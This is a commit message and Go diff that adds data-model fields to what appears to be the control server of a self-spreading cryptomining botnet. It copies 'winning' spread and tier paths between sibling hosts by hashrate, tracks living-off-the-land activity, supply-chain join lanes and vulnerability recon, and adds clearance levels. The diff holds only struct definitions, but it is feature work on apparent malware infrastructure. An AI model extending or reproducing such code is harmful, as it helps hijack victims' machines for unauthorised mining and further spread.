Add fleet phenotype cloning for sibling machines.

Publish winning tier paths per host fingerprint on hashrate success, inherit on auth before adaptive strategy, and surface clone badges in LOTL Timeline and Access Depth.

server/internal/models/agent.go

@@ -122,11 +122,27 @@ type Agent struct {
 	// Last successful discover_and_join supply-chain lane.
 	JoinLane string `json:"join_lane,omitempty"`
 
+	// Session security clearance (L0–L4); set live by WSHub, not persisted.
+	ClearanceLevel int `json:"clearance_level,omitempty"`
+
+	// Fleet phenotype cloned from a sibling with the same host fingerprint (WS auth only).
+	InheritedPhenotype *AgentInheritedPhenotype `json:"inherited_phenotype,omitempty"`
+
 	// Authorized fleet vulnerability recon (read-only LOTL probe tier)
 	VulnFindings  []VulnFinding `json:"vuln_findings,omitempty"`
 	VulnRiskScore *int          `json:"vuln_risk_score,omitempty"`
 }
 
+// AgentInheritedPhenotype is the dashboard view of a cloned winning path.
+type AgentInheritedPhenotype struct {
+	SourceAgentName string   `json:"source_agent_name"`
+	Fingerprint     string   `json:"fingerprint,omitempty"`
+	SpreadLane      string   `json:"spread_lane,omitempty"`
+	TierOrder       []string `json:"tier_order,omitempty"`
+	ActiveTier      string   `json:"active_tier,omitempty"`
+	PeakHashrate    float64  `json:"peak_hashrate,omitempty"`
+}
+
 // VulnFinding mirrors agent vuln_findings stats payload.
 type VulnFinding struct {
 	CVEID                     string `json:"cve_id"`